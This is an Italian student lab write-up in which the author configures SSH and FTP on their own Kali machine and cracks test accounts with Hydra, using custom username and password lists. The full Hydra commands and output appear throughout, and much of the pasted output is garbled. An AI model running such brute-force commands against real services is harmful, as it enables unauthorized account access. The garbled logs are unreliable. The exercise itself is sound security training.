Authentication cracking con Hydra

SCOPI DEL PROGETTO

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

LE DUE FASI DEL PROGETTO

- Una prima fase vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- Una seconda fase dove siamo liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

CONFIGURAZIONE E CRACKING SSH

Ho aggiunto un nuovo utente su kali e l'ho chiamato 'test_user' con password 'testpass' tramite il comando 'sudo adduser test_user'. Ho fatto partire il servizio SSH con il comando 'sudo service ssh start' e ho modificato la configurazione con 'sudo nano /etc/ssh/sshd_config' modificando 'passwordAuthentication in yes, Port 22 e PermitRootLogin no'. Poi ho testato la connessione con il server ssh con il nuovo utente con il comando 'ssh test user@192.168.50.100' e si è collegato tranquillamente.

```
File Actions Edit View Help
  GNU nano 8.2
                                          the KbdInteractiveAuthentication and
  PasswordAuthentication yes
# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin prohibit-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and KbdInteractiveAuthentication to 'no'.
UsePAM yes
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
PrintMotd no
#TCPKeepAlive yes
#PermitUserEnvironment no
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
# no default banner path
AcceptEnv LANG LC_*
# override default of no subsystems
Subsystem sftp /usr/lib/openssh/sftp-server
PermitRootLogin no
Port 22
```

Ho preferito creare una wordlist mia per non attendere troppo tempo con 'seclist'.

Quindi con 'nano wordlist.txt' ho creato una lista di password di circa 50 possibili password.

E con 'cat wordlist.txt' ho visualizzato la lista:

```
File Actions Edit View Help

5 cat wordlist.txt

testpass
password123
admin
root
123x54
stali123
glissppe
alf-redo
alf-redo
orologio
computer
tastiena
babbonatale
pippo
pluto
```

Successivamente ho fatto partire Hydra con il comando 'hydra -l test_user -P wordlist.txt -t 4 -w 2 192.168.50.100 ssh -V' e dopo poco mi ha trovato la password.

(-l minuscola per un singolo user e -P per un gruppo di password, -t 4 è la forza e -w 2 è l'intervallo di secondi.)

```
(kali® kali)=[~]
$ hydra -l test_user -P wordlist.txt -t 4 -w 2 192.168.50.100 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service or
ganizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[WARNING] the waittime you set is low, this can result in errornous results
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 07:06:49
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous ses
sion found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 51 login tries (l:1/p:51), ~13 tries per task
[DATA] attacking ssh://192.168.50.100 - login "test_user" - pass "" - 1 of 51 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 2 of 51 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin" - 4 of 51 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin" - 4 of 51 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "root" - 5 of 51 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "root" - 5 of 51 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "root" - 5 of 51 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "root" - 5 of 51 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "root" - 5 of 51 [child 0] (0/0)
```

FASE 2

CONFIGURAZIONE E CRACKING FTP

Ho scelto il servizio ftp. Con il comando 'sudo apt-get install vsftpd' ho installato il servizio e l'ho fatto partire con il comando 'service vsftpd start'.

Ho creato dei nuovi utenti per rendere l'esercizio più reale. E ho controllato su ogni utente se la connessione su ftp fosse eseguita correttamente:

primo utente: 'ftp user'

```
—(kali⊕kali)-[~]
$ sudo adduser ftp_user info: Adding user `ftp_user'
info: Adding user ftp_user ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `ftp_user' (1002) ...
info: Adding new user `ftp_user' (1002) with group `ftp_user (1002)' ...
info: Creating home directory `/home/ftp_user' ...
info: Copying files from `/etc/skel'
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for ftp_user
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
info: Adding new user `ftp_user' to supplemental / extra groups `users' ...
info: Adding user `ftp_user' to group `users' ...
                         Ciao Documents 'Esercitazione 12-11' gameshell.sh meta_report
Desktop Downloads gameshell-save.sh listaip.txt Music
  Angelo1.xml Ciao
 Angelo.xml
  -$ cd /home/ftp_user
cd: permission denied: /home/ftp_user
 ____(kali⊕kali)-[~]
$ <u>sudo</u> nano /etc/vsftpd.conf
 —(kali⊕kali)-[~]
—$ ftp localhost
Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:kali): ftp_user
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using_binary mode to transfer files.
ftp>
```

secondo utente: 'admin'

terzo utente: 'gianni'

```
–$:<u>sudo</u> adduser gianni
info: Adding user `gianni' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `gianni' (1004) ...
info: Adding new user `gianni' (1004) with group `gianni (1004)' ...
info: Creating home directory `/home/gianni' ...
info: Copying files from `/etc/skel' ...
 New password:
 Retype new password:
 passwd: password updated successfully
passwo: password updated successfutty
Changing the user information for gianni
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:

Is the information correct? [Y/n] y
info: Adding new user `gianni' to supplemental / extra groups `users' ...
info: Adding user `gianni' to group `users' ...
__(kali⊛kali)-[~]

$ ftp localhost

Trying [::1]:21 ...
Connected to localhost.
220 (vsFTPd 3.0.3)
 Name (localhost:kali): gianni
 331 Please specify the password.
 Password:
 230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
 ftp>
```

Quarto utente: 'anguilla'

Prima di procedere con hydra ho creato due liste, una di username e una di password.

Quindi tramite il comando 'nano usernames' ho creato la lista user:

```
GNU nano 8.2

ftp_user
ciccio_pasticcio
il_bombarolo
aquila_reale
anguilla
pippo_baudo
gigi_marzullo
admin
root
test_user
nino_dangelo
pippotherepper
gianni
```

E con il comando 'nano passwords' ho creato la lista password:

```
GNU nano 8.2
Wrongpass
testpass
123456
pippo
gionni123
princess
juventus
lavatrice1
pallone
sacerdote
holly
foglio
admin123
guest123
password
ciao
prova
cielo
terra
mare
foresta
                      terra
mare
foresta
gillet
pompei
vico
lametta
pineta
tastiera
pianoforte
tamburo
percussioni
baudo
cantante
musicista
                      cantante
musicista
peroni
birra
vino
pizza
spaghetti
carbonara
mozzarella
bufala
erba
                         erba
prato
```

Dopodiché ho eseguito l'attacco con hydra con i seguenti comandi:

'hydra -L usernames.txt -P passwords.txt localhost ftp -V'

```
pass "birra"
pass "vino" -
                                target localhost -
                                                                                               login
                                                                                                                  "aquila_reale" -
                                                                                                                                                                                                                           167 of 616 [child 13] (0/0)
                                                                                                                                                                         pass "vino" - 168 of 616 [child 0] (0/0)
pass "pizza" - 169 of 616 [child 3] (0/0)
pass "spaghetti" - 170 of 616 [child 6] (0/0)
pass "carbonara" - 171 of 616 [child 5] (0/0)
                                                                                               login "aquila_reale"
login "aquila_reale"
                                target localhost -
[ATTEMPT]
                               target localhost
                                                                                              login "aquila_reale" -
login "aquila_reale" -
[ATTEMPT]
                                target localhost -
[ATTEMPT]
                               target localhost -
                              target localhost - login "aquila_reale" - pass "carbonara" - 1/1 of 616 [child 5] (0/0) target localhost - login "aquila_reale" - pass "mozzarella" - 172 of 616 [child 12] (0/0) target localhost - login "aquila_reale" - pass "bufala" - 173 of 616 [child 1] (0/0) target localhost - login "aquila_reale" - pass "erba" - 174 of 616 [child 9] (0/0) target localhost - login "aquila_reale" - pass "prato" - 175 of 616 [child 7] (0/0) target localhost - login "aquila_reale" - pass "" - 176 of 616 [child 10] (0/0)
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
                             target localhost - login "aquila_reale" - pass "" - 176 of 616 [child 10] (0/0) target localhost - login "anguilla" - pass "wrongpass" - 177 of 616 [child 14] (0/0) target localhost - login "anguilla" - pass "testpass" - 178 of 616 [child 2] (0/0) target localhost - login "anguilla" - pass "123456" - 179 of 616 [child 4] (0/0) target localhost - login "anguilla" - pass "pippo" - 180 of 616 [child 15] (0/0) target localhost - login "anguilla" - pass "gionni123" - 181 of 616 [child 8] (0/0) target localhost - login "anguilla" - pass "princess" - 182 of 616 [child 11] (0/0) target localhost - login "anguilla" - pass "juventus" - 183 of 616 [child 13] (0/0) target localhost - login "anguilla" - pass "lavatrice1" - 184 of 616 [child 0] (0/0) target localhost - login "anguilla" - pass "pallone" - 185 of 616 [child 3] (0/0) host: localhost login: anguilla" - pass "sacerdote" - 186 of 616 [child 6] (0/0)
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
 [ATTEMPT]
                            target localhost - login "anguilla" - pass "sacerdote" - 186 01 010 [em.]
host: localhost login: anguilla password: pippo
target localhost - login "pippo_baudo" - pass "wrongpass" - 221 of 616 [child 15] (0/0)
target localhost - login "pippo_baudo" - pass "testpass" - 222 of 616 [child 12] (0/0)
target localhost - login "pippo_baudo" - pass "123456" - 223 of 616 [child 5] (0/0)
target localhost - login "pippo_baudo" - pass "pippo" - 224 of 616 [child 1] (0/0)
target localhost - login "pippo_baudo" - pass "gionni123" - 225 of 616 [child 7] (0/0)
target localhost - login "pippo_baudo" - pass "princess" - 226 of 616 [child 9] (0/0)
target localhost - login "pippo_baudo" - pass "juventus" - 227 of 616 [child 14] (0/0)
target localhost - login "pippo_baudo" - pass "lavatrice1" - 228 of 616 [child 10] (0/0)
target localhost - login "pippo_baudo" - pass "lavatrice1" - 229 of 616 [child 8] (0/0)
[ATTEMPT]
[ATTEMPT]
[21][ftp]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
 [ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
                                                                                                                                                                      pass "lavatrice1" - 228 of 616 [child 10] (0/0) pass "pallone" - 229 of 616 [child 8] (0/0) pass "sacerdote" - 230 of 616 [child 2] (0/0) pass "holly" - 231 of 616 [child 13] (0/0) pass "foglio" - 232 of 616 [child 0] (0/0) pass "admin123" - 233 of 616 [child 4] (0/0) pass "guest123" - 234 of 616 [child 11] (0/0) pass "password" - 235 of 616 [child 3] (0/0) pass "ciao" - 236 of 616 [child 6] (0/0)
                                                                                              login "pippo_baudo" - pass
login "pippo_baudo" - pass
login "pippo_baudo" - pass
.
[ATTEMPT]
                              target localhost -
target localhost -
[ATTEMPT]
[ATTEMPT]
[ATTEMPT]
                                                                                               login "pippo_baudo" -
                               target localhost -
                                                                                                                   "pippo_baudo" - pass
                               target localhost -
[ATTEMPT]
                                                                                               login
                                                                                                                  "pippo_baudo" - pass
"pippo_baudo" - pass
                               target localhost -
[ATTEMPT]
                                                                                              login
                               target localhost -
                                                                                                                                                                     pass "password" - 235 of 616 [child 3] (0/0) pass "ciao" - 236 of 616 [child 6] (0/0) pass "prova" - 237 of 616 [child 15] (0/0) pass "cielo" - 238 of 616 [child 12] (0/0) pass "terra" - 239 of 616 [child 12] (0/0) pass "mare" - 240 of 616 [child 1] (0/0) pass "foresta" - 241 of 616 [child 7] (0/0) pass "gillet" - 242 of 616 [child 9] (0/0) pass "pompei" - 243 of 616 [child 14] (0/0) pass "vico" - 244 of 616 [child 10] (0/0) pass "lametta" - 245 of 616 [child 8] (0/0) pass "pineta" - 246 of 616 [child 2] (0/0) pass "tastiera" - 247 of 616 [child 13] (0/0)
[ATTEMPT]
                                                                                               login
                                                                                              login "pippo_baudo" - pass
login "pippo_baudo" - pass
[ATTEMPT]
                               target localhost -
                               target localhost -
target localhost -
 [ATTEMPT]
                                                                                                                    "pippo_baudo" -
[ATTEMPT]
                                                                                               login
                               target localhost -
                                                                                               login "pippo_baudo" -
[ATTEMPT]
                                                                                                                   "pippo_baudo" - pass
                               target localhost -
[ATTEMPT]
                                                                                               login
                                                                                                                  "pippo_baudo" - pass
"pippo_baudo" - pass
                               target localhost -
[ATTEMPT]
                                                                                               login
[ATTEMPT]
                               target localhost -
                                                                                               login
                                                                                             login "pippo_baudo" - pass
[ATTEMPT]
                              target localhost -
 [ATTEMPT]
                               target localhost -
                              target localhost -
target localhost -
[ATTEMPT]
[ATTEMPT]
                               target localhost -
```

```
"S hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiza  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiza  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:26:22  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 616 login tries (Lith/p:t4), -99 tries per task  
[DATA] attacking ftp://localhost:21/  
[ATTEMPI] target localhost - login "ftp_user" - pass "wrongpass" - 1 of 616 [child 0] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "testpass" - 2 of 616 [child 1] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "plomil23" - 5 of 616 [child 1] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "plomil23" - 5 of 616 [child 4] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "piventus" - 7 of 616 [child 6] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "piventus" - 7 of 616 [child 7] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "piventus" - 7 of 616 [child 7] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "piventus" - 7 of 616 [child 7] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "pallone" - 9 of 616 [child 8] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "holly" - 11 of 616 [child 1] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "follow" - 10 of 616 [child 1] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "follow" - 10 of 616 [child 1] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "goustles" - 10 of 616 [child 1] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "goustles" - 10 of 616 [child 1] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "goustles" - 10 of 616 [child 1] (0/0)  
[ATTEMPI] target localhost - login "ftp_user" - pass "passord: estpass " - 45 of 616 [child 1] (0/0)  
[ATTEMPI] target localhost - login "ciccio_pasticcio" - pass "suventus" - 50 of 616 [chi
```

Non mi convinceva questo risultato e quindi ho tolto dal comando -V così da poter visualizzare meglio i risultati:

Quindi sono riuscito a trovare tutti gli utenti e le loro password.

Questo ci fa capire come sia molto facile rubare nome utente e password quando li scegliamo approssimativamente e senza darci peso. Dopo questo esercizio capiamo che dobbiamo scegliere sempre password complesse e modificarle spesso per evitare eventuali furti di password.